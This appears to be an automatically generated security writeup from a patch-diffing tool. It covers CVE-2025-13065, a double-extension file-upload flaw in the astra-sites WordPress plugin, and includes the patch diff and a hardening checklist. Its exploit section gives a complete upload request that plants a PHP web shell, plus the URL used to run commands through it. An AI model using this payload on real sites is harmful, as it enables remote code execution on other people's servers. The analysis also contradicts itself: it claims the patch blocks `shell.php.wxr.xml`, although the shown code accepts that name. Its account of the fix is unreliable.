ANALYSIS · 72db0b72· FINISHED 2026-06-13 · PATCHDIFF

astra-sites4.4.41 → 4.4.42✓ COMPLETED

Files21

Vulnerable7

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2025-13065

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 21 CVE 1 Vuln 7

SORT

1 files · page 1/1

inc/lib/starter-templates-importer/importer/wxr-importer/st-wxr-importer.php

AI: 1 vulnerabilities

CWE-434: Unrestricted Upload of File with Dangerous TypeCWE-656: Reliance on Security Through Obscurity CVE-2025-13065

#%!d(float64=018)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2025-13065

Security writeup for CVE-2025-13065

✓ 1 FILE

## The Exploit

An authenticated attacker with author-level permissions uploads a file with a double extension like `data.php.wxr.xml` to WordPress, and the plugin's importer accepts it as a valid WXR file while the web server executes it as PHP.

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="action"

st_upload_file
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="data.php.wxr.xml"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
```

The response contains no error — the file lands on disk as `data.php.wxr.xml` in the uploads directory. The attacker navigates to `/wp-content/uploads/data.php.wxr.xml?cmd=id` and the web server strips the trailing `.xml`, parsing `data.php.wxr` as the filename and executing the PHP payload. Command output appears in the response.

## What the Patch Did

**Before:**
```php
public function real_mimes( $defaults, $filename, $file ) {
    // Set EXT and real MIME type only for the file name `wxr.xml`.
    if ( strpos( $filename, 'wxr' ) !== false ) {
        $defaults['ext']  = 'xml';
        $defaults['type'] = 'text/xml';
    }

// Set EXT and real MIME type only for the file name `wpforms.json` or similar
    if ( ( strpos( $filename, 'wpforms' ) !== false ) || ... ) {
        $defaults['ext']  = 'json';
        $defaults['type'] = 'text/plain';
    }

if ( 'svg' === pathinfo( $filename, PATHINFO_EXTENSION ) ) { ... }
    if ( 'svgz' === pathinfo( $filename, PATHINFO_EXTENSION ) ) { ... }
}
```

**After:**
```php
public function real_mimes( $defaults, $filename, $file ) {
    // Validate file extension using WordPress core function to prevent double extension attacks.
    $filetype = wp_check_filetype(
        $filename,
        array(
            'xml'  => 'text/xml',
            'json' => 'application/json',
            'svg'  => 'image/svg+xml',
            'svgz' => 'image/svg+xml',
        )
    );

// Get actual file extension.
    $file_extension = pathinfo( $filename, PATHINFO_EXTENSION );

// Reject files with no valid extension or mismatched extensions.
    if ( false === $filetype['type'] || empty( $file_extension ) ) {
        return $defaults;
    }

// Set EXT and real MIME type only for the file name `wxr.xml`.
    // Ensure the actual extension is 'xml' to prevent double extension attacks like 'test.wxr.php'.
    if ( 'xml' === $file_extension && strpos( $filename, 'wxr' ) !== false ) {
        $defaults['ext']  = 'xml';
        $defaults['type'] = 'text/xml';
    }

// Set EXT and real MIME type only for the file name `wpforms.json`, etc.
    // Ensure the actual extension is 'json' to prevent double extension attacks.
    if ( 'json' === $file_extension && ( strpos( $filename, 'wpforms' ) !== false || ... ) ) {
        $defaults['ext']  = 'json';
        $defaults['type'] = 'text/plain';
    }

if ( 'svg' === $file_extension ) { ... }
    if ( 'svgz' === $file_extension ) { ... }
}
```

The patch adds two security controls. First, it calls `wp_check_filetype()` — WordPress's core whitelist validator — against an explicit allowlist of safe extensions (xml, json, svg, svgz). Second, it extracts the *actual* file extension using `pathinfo( $filename, PATHINFO_EXTENSION )` and enforces that the rightmost extension matches the declared file type before accepting the string-match condition. Files like `shell.php.wxr.xml` now fail because the actual extension is `.xml` but the presence check still finds `wxr` in the middle — the fix rejects the mismatch.

## Root Cause

**CWE-434: Unrestricted Upload of File with Dangerous Type.** The original code trusted a substring match (`strpos()`) on the filename as evidence of intent, without validating the *actual* file extension that the operating system and web server would interpret. When `strpos( $filename, 'wxr' ) !== false`, the code blindly set the MIME type to `text/xml` regardless of what extension the file truly carried. An attacker supplied `filename=data.php.wxr.xml`; the substring match succeeded, the MIME type was overridden to `xml`, and the file was written to disk. Apache or Nginx then parsed the rightmost executable extension (`.php`) and executed the payload. No validation crossed the trust boundary between user input and filesystem/webserver interpretation.

## Why It Works

The load-bearing line is `$file_extension = pathinfo( $filename, PATHINFO_EXTENSION );` paired with the guard `if ( 'xml' === $file_extension && strpos( $filename, 'wxr' ) !== false )`. Removing the `'xml' === $file_extension` check would restore the vulnerability — an attacker could still upload `shell.php.wxr.xml`, the `strpos()` would match, and the file would be accepted. The additional lines calling `wp_check_filetype()` and the early exit provide defence-in-depth: they stop attackers who upload filenames with no recognized extension at all, and they provide a second whitelist check before the substring logic runs. But the critical fix is the rightmost-extension enforcement: it makes the code *definition-aware*, checking not just that the attacker mentioned `wxr` somewhere, but that the actual extension the OS sees is `.xml`.

## Hardening Checklist

- **Never use `strpos()` for extension validation.** Always extract the true extension with `pathinfo( $filename, PATHINFO_EXTENSION )` and compare it against a hardcoded allowlist using strict equality (`===`), not substring search.

- **Call `wp_check_filetype()` before any custom logic.** Pass only an explicit array of safe type→MIME pairs; reject the upload if the function returns `false` for the type field.

- **Validate extension and declared purpose together.** If you need to accept both `.xml` and `.json` files, separate the logic: check the extension first, then apply type-specific handlers (e.g., separate `if ( 'xml' === $file_extension )` blocks).

- **Test double-extension payloads during code review.** Include `.php.xml`, `.php.json`, `.phtml.xml`, `.php5.xml` in your manual test cases before merge; automated linters often miss this class of flaw.

- **Use `wp_handle_upload()` or `wp_insert_attachment()`** rather than custom upload handlers. WordPress core handles MIME detection and extension validation; reimplementing it introduces bugs.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-13065

CVE CVE-2025-13065

PRODUCT astra-sites

AFFECTED ≤ 4.4.41

FIXED IN 4.4.42

STATUS Generated

Security writeup · CVE-2025-13065

Source files · 1

inc/lib/starter-templates-importer/importer/wxr-importer/st-wxr-importer.php Linked

↗ NVD